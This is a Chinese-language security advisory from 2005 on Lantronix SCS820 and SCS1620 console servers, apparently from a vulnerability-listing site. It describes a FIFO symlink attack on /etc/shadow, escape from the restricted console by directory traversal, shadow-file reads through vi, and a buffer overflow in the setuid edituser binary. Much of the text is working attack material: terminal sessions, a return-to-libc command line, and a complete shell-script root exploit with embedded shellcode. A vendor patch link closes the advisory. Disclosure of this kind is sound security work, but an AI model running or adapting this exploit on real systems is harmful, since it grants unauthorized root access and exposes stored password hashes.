发布日期：2005-08-08
更新日期：2005-08-08

受影响系统：

Lantronix Secure Console Server SCS820
Lantronix Secure Console Server SCS1620

描述：

---

BUGTRAQ  ID: 14486

SCS820和SCS1620是ActiveLinx家族安全控制台服务器（SCS）的成员，用于处理本地和远程的IT事件。

Lantronix Secure Console Server中存在多个安全漏洞，允许攻击者通过缓冲区溢出和不安全的文件系统配置获得root权限。

1 覆盖root用户的文件
  ----------
  [c0ntex@SCS1620 /tmp]$ ls -al
  total 2
  drwxrwxrwx   2 root     root         1024 Oct 31 00:50 ./
  drwxr-xr-x  16 root     root         1024 Oct 20 11:38 ../
  prw-rw-rw-   1 root     root            0 Oct 31 00:14 listen_fifo_server|


  [c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig
  [c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server

现在用户在等待系统管理员登录以入侵控制台：

  sysadmin>listen 01
  Please wait for connection..
  sysadmin-DEVICE_01>logout

  [sysadmin@SCS1620 /tmp]$ su - root
  Password:
  su: incorrect password  # odd......

另一个窗口：

  [root@SCS1620 /tmp]# head /etc/shadow
  j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  adm:*:11529:0:99999:7:::

2 目录遍历获得基础系统的访问
  ----------
  c0ntex>?
  Commands:
  alias           - List command aliases
  cat             - Print history buffer
  clear           - Clear port buffer
  connections     - show active connections
  ...
  c0ntex>/bin/bash
  /bin/bash: unknown command
  c0ntex>
  c0ntex>
  c0ntex>../../../bin/bash
  [c0ntex@SCS1620 /var/tmp]$

3 Sysadmin变为root
  ----------
  sysadmin>
  sysadmin>
  sysadmin>bash
  sysadmin@SCS1620 /var/tmp$
  sysadmin@SCS1620 /var/tmp$
  sysadmin@SCS1620 /var/tmp$ cat /etc/shadow
  cat: /etc/shadow: Permission denied
  sysadmin@SCS1620 /var/tmp$
  sysadmin@SCS1620 /var/tmp$
  sysadmin@SCS1620 /var/tmp$ exit
  sysadmin>../../../bin/cat /etc/shadow
  root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  ...
  sysadmin>../../../bin/vi
  ~
  ~
  ~
  ~
  ~
  :!cat /etc/shadow
  root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
  bin:*:11529:0:99999:7:::
  daemon:*:11529:0:99999:7:::
  ...
  ~
  ~
  ~
  ~
  ~
  :q!

从ci接口和strace以sysadmin运行bash，得到以下内容：

  sysadmin>bash
  ...
  14441 [400d8367] getuid()               = 500
  14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) = 0

通过目录遍历：

  sysadmin> ../../../bin/bash
  ...
  14392 [400ab367] getuid()               = 500
  14392 [400ab3c7] getgid()               = 100
  14392 [400ab397] geteuid()              = 0
  14392 [400ab3f7] getegid()              = 100
  ...

  sysadmin>../../../home/sysadmin/snakeoil 10719

  Attached process [10719] OK!
  ++ Stack regsiters for PID of [10719] ++
        Stack Address of %eax = [0xfffffe00]
        Stack Address of %ecx = [0xbffff100]
        Stack Address of %edx = [0x00000000]
        Stack Address of %ebx = [0xffffffff]
        Stack Address of %esp = [0xbffff0c8]
        Stack Address of %ebp = [0xbffff0e8]
        Stack Address of %esi = [0x00000000]
        Stack Address of %edi = [0xffffffff]
        Stack Address of %eip = [0x400d79a9]

  Injecting %eip register with [0xbffff2bb]

  ++ Stack regsiters for PID of [10719] ++
        Stack Address of %eax = [0xfffffe00]
        Stack Address of %ecx = [0xbffff100]
        Stack Address of %edx = [0x00000000]
        Stack Address of %ebx = [0xffffffff]
        Stack Address of %esp = [0xbffff0c8]
        Stack Address of %ebp = [0xbffff0e8]
        Stack Address of %esi = [0x00000000]
        Stack Address of %edi = [0xffffffff]
        Stack Address of %eip = [0xbffff2bb]
  Detached process [10719] OK!

  bash#

4 通过edituser二进制程序中的缓冲区溢出成为root用户

  [sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser
  -rwsr-xr-x    1 root     root        12912 Apr 15  2003 edituser
  [sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex
  Password:
  bash$ cp `which edituser` . && gdb -q ./edituser
  no debugging symbols found)...gdb>
  gdb>
  gdb>r -b `perl -e 'printf "\x41" x 70'`
  escape sequence is too long.
  (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols \
found)...(no  debugging symbols found)...
  Program received signal SIGSEGV, Segmentation fault.
  _______________________________________________________________________________
       eax:00000000 ebx:00000004  ecx:4001A94B  edx:4010B140     eflags:00010246
       esi:0804BC0C edi:00000000  esp:BFFEC748  ebp:41414141     eip:41414141
       cs:0023  ds:002B  es:002B  fs:0000  gs:0000  ss:002B    o d I t s Z a P c
  [002B:BFFEC748]---------------------------------------------------------[stack]
  BFFEC778 : 28 D6 04 08  6C C9 10 40 - 70 A8 00 40  94 F8 FE BF (...l..@p..@....
  BFFEC768 : 8C 9B 04 08  01 00 00 00 - 60 BC 04 08  08 BC 04 08 ........`.......
  BFFEC758 : BC BC 04 08  F0 C7 FE BF - 01 00 00 00  48 F8 FE BF ............H...
  BFFEC748 : 41 41 41 41  41 41 41 41 - 41 41 00 08  FF FF FF FF AAAAAAAAAA......
  [002B:0804BC0C]---------------------------------------------------------[ data]
  0804BC0C : 39 BA 01 40  2C BA 01 40 - 1E BA 01 40  10 BA 01 40 9..@,..@...@...@
  0804BC1C : 00 00 00 00  00 00 00 00 - 03 00 00 00  00 00 00 00 ................
  [0023:41414141]---------------------------------------------------------[ code]
  0x41414141:     Error while running hook_stop:
  Error while running hook_stop:
  Cannot access memory at address 0x41414141
  0x41414141 in ?? ()
  gdb> q


  //return-to-libc version for non-exec-stack systems

  [c0ntex@SCS1620 ~]$ id -a
  uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)
  [c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'`
  [c0ntex@SCS1620 /home/c0ntex]$  edituser -e `perl -e 'print "A" x 56'``printf \
"\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"`  escape sequence is too long.
  bash: /bin/bash/.bashrc: Not a directory
  bash#


  //general stack-smash version for older boxes

<*来源：c0ntex （c0ntex@hushmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112327955000792&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/bin/sh
# Lantronix Secure Console Server edituser root exploit by
# c0ntex - c0ntexb@gmail.com | c0ntex@open-security.org
# Advisory @ http://www.open-security.org/advisories/11
#
# The Linux system supplied by Lantronix does not have gnu
# C compiler, so the exploit is provided as a shell script
# as such, you might need to change the address for
#
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
#
# **** *** *** *** *** *** *** *** ***
#[-] Local root exploit for edituser using return-to-libc
#[-] discovered and written by c0ntex | c0ntexb@gmail.com
#Expect a root shell :-)  ->  escape sequence is too long.
#bash# id -a
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
#bash#
#
BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
NOPSLED=`perl -e 'print "\x41" x 1000'`
RETADDR=`printf "\x74\xc2\xfe\xbf"`
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
STACKPAD=`perl -e 'print "A" x 65000'`
VULNAP=/usr/local/bin/edituser
VULNOP="-e"

export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP

printf "\n **** *** *** *** *** *** *** *** ***\n"
printf "[-] Local root exploit for edituser\n"
printf "[-] discovered and written by c0ntex\n"

if [ -f $VULNAPP ] ; then
      printf "Expect a root shell :-)  ->  "; sleep 1
      $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
      success=$?
      if [ $success -gt 0 ] ; then
              printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n"
              sleep 2
              unset NOPSLED
              NOPSLED=`perl -e 'print "\x41" x 10000'`
              printf "Expect a root shell :-)  ->  "
              $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
              success=$?
              if [ $success -gt 0 ] ; then
                      printf "\nAgain it failed, sorry you are on your own now :(\n"
              fi
      fi
fi

建议：

---

厂商补丁：

Lantronix
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

ftp://ftp.lantronix.com/pub/scs1620/

浏览次数：3536
严重程度：0（网友投票）